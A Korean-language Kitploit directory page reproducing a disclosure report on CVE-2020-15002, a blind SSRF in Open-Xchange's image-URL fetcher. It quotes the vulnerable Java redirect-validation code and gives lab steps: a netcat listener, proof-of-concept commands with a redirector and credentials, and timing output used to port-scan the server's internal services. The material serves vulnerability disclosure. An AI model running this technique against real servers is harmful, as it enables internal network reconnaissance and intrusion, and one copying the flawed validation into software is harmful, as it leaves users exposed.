Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Blind-SSRF-CVE-2020-15002 — https://hackerone.com/reports/865652 | Kitploit
도구/GitHubGitHub/skr0x1c0/blind-ssrf-cve-2020-15002
ReconnaissancePort ScanningVulnerability AnalysisExploitationWeb Application Exploitation
GitHubskr0x1c0/blind-ssrf-cve-2020-15002

Blind-SSRF-CVE-2020-15002

https://hackerone.com/reports/865652

저장소 보기
5년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

요약

/appsuite/api/oxodocumentfilter&action=addfile 처리 시 외부 URL에서 이미지를 가져오는 AddFileAction.getImageDataFromUrl의 로직은 여기에 구현되어 있으며, 모든 리다이렉트를 따라간 후에만 리다이렉트된 URL을 검증합니다.

root@kitploit:~
response = httpClient.execute(getRequest, context);

int statusCode = response.getStatusLine().getStatusCode();
if (statusCode == HttpStatus.SC_OK) {
    List<URI> locations = context.getRedirectLocations();
    if (locations != null) {
        for (URI uri : locations) {
            try {
                Optional<OXException> oxException = validator.apply(uri.toURL());
                if (oxException.isPresent()) {
                    throw (RESTException) oxException.get().getCause();
                }
            } catch (MalformedURLException e) {
                throw new RESTException(ErrorCode.GENERAL_ARGUMENTS_ERROR, e);
            }
        };
    }
    long length = response.getEntity().getContentLength();
    ...
}

이로 인해 공격자가 블라인드 SSRF 공격을 실행할 수 있습니다.

재현 단계

  1. 다음 가이드에 따라 가상 머신에 Open-Xchange와 Documents를 설치합니다: https://oxpedia.org/wiki/index.php?title=AppSuite:Open-Xchange_Installation_Guide_for_Debian_9.0 및 https://oxpedia.org/wiki/index.php?title=AppSuite:Documents_Installation_Guide#Debian_GNU.2FLinux_9.0_.28valid_from_v7.10.29
  2. VM 내부에서 netcat이 127.0.0.1:7070에서 수신 대기하도록 다음 명령을 실행합니다.
    root@kitploit:~
    nc -l 127.0.0.1 -p 7070
    
  3. 호스트 머신에서 https://golang.org/dl/ 에서 golang을 설치합니다.
  4. poc.zip 파일을 다운로드하고 압축을 해제합니다.
  5. 터미널/명령 프롬프트를 열고 압축을 해제한 poc.zip 폴더로 현재 디렉터리를 설정합니다.
  6. 다음 명령을 실행합니다.
    root@kitploit:~
    go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret"
    
    여기서
    • redirectorAddress: 리디렉터 서버가 바인딩할 IP 주소와 포트. 이 IP 주소는 VM에서 접근 가능해야 합니다.
    • targetPorts: netcat이 수신 대기 중인 VM 내부의 포트.
    • serverRoot: open-xchange 서버의 기본 URL.
    • serverUser: open-xchange 서버에 있는 임의 사용자의 사용자 이름.
    • serverPass: open-xchange 서버에 있는 사용자의 비밀번호.

위 명령을 실행하면 netcat에 다음과 같은 출력이 표시됩니다.

root@kitploit:~
GET /image.png HTTP/1.1
Accept: *
Accept-Encoding: gzip
Host: 127.0.0.1:7070
Connection: Keep-Alive
User-Agent: Open-Xchange Image Url Data Fetcher

영향

이 취약점은 블라인드 SSRF이므로 HTTP 요청의 응답을 읽을 수는 없지만, 정찰(reconnaissance)에 사용될 수 있습니다.

예: 응답 시간 측정을 통한 포트 스캔

서버의 로컬 네트워크에서 7070,61616,8004,80,22,25,8080,3125 포트에 대한 포트 스캔을 실행하려면 다음 명령을 실행합니다.

root@kitploit:~
go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070,61616,8004,80,22,8080,3125" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret" -numSamples=20

출력:

root@kitploit:~
2020/05/04 13:32:42 7070: 2.220000
2020/05/04 13:32:42 61616: 3567.000000
2020/05/04 13:32:42 8004: 2.980000
2020/05/04 13:32:42 80: 3.180000
2020/05/04 13:32:42 22: 34.600000
2020/05/04 13:32:42 25: 2169.333333
2020/05/04 13:32:42 8080: 2.560000
2020/05/04 13:32:42 3125: 3.000000

lsof를 사용하여 VM 내부의 열린 포트를 확인할 수 있습니다.

root@kitploit:~
sudo lsof -nP -iTCP -sTCP:LISTEN

출력:

root@kitploit:~
COMMAND  PID         USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
java     467 open-xchange   15u  IPv6  13049      0t0  TCP 172.16.66.130:9994 (LISTEN)
java     467 open-xchange   16u  IPv6  15970      0t0  TCP *:42319 (LISTEN)
java     467 open-xchange   24u  IPv6  14136      0t0  TCP 127.0.0.1:61616 (LISTEN)
java     467 open-xchange   33u  IPv6  16419      0t0  TCP *:8004 (LISTEN)
java     489 open-xchange   37u  IPv6  14138      0t0  TCP 127.0.0.1:9999 (LISTEN)
java     489 open-xchange   42u  IPv6  17565      0t0  TCP 127.0.0.1:1099 (LISTEN)
java     489 open-xchange   47u  IPv6  14144      0t0  TCP 127.0.0.1:5701 (LISTEN)
java     489 open-xchange  127u  IPv6  15345      0t0  TCP *:36149 (LISTEN)
java     489 open-xchange  144u  IPv6  17559      0t0  TCP 127.0.0.1:8009 (LISTEN)
apache2  526         root    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  527     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  528     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
mysqld   695        mysql   26u  IPv4  13847      0t0  TCP 127.0.0.1:3306 (LISTEN)
exim4   1077  Debian-exim    3u  IPv4  13115      0t0  TCP 127.0.0.1:25 (LISTEN)
exim4   1077  Debian-exim    4u  IPv6  13116      0t0  TCP [::1]:25 (LISTEN)
sshd    1345         root    3u  IPv4  14259      0t0  TCP 172.16.66.130:22 (LISTEN)
sshd    1345         root    4u  IPv4  14261      0t0  TCP 127.0.0.1:22 (LISTEN)

위 출력에서 다음과 같은 사실을 확인할 수 있습니다.

  • 닫힌 포트 7070, 8080, 3125의 경우 응답 시간이 낮습니다(~3ms 미만).
  • 열린 포트의 경우 수신 연결 유형에 따라 응답 시간이 달라집니다.
    • ssh(포트 22)의 응답 시간은 약 34ms입니다.
    • exim(포트 25)의 응답 시간은 약 2170ms입니다.
    • ActiveMQ(포트 61616)의 응답 시간은 약 3567ms입니다.
    • http(포트 80 및 8004)의 응답 시간은 약 3ms입니다(이 유형은 닫힌 포트와 구별하기 어렵습니다).

따라서 공격자는 이 취약점을 사용하여 대부분의 열린 포트를 탐지하고, 응답 시간을 사용하여 연결 유형(ssh / exim / activemq 등)을 식별할 수 있습니다.

도구 다운로드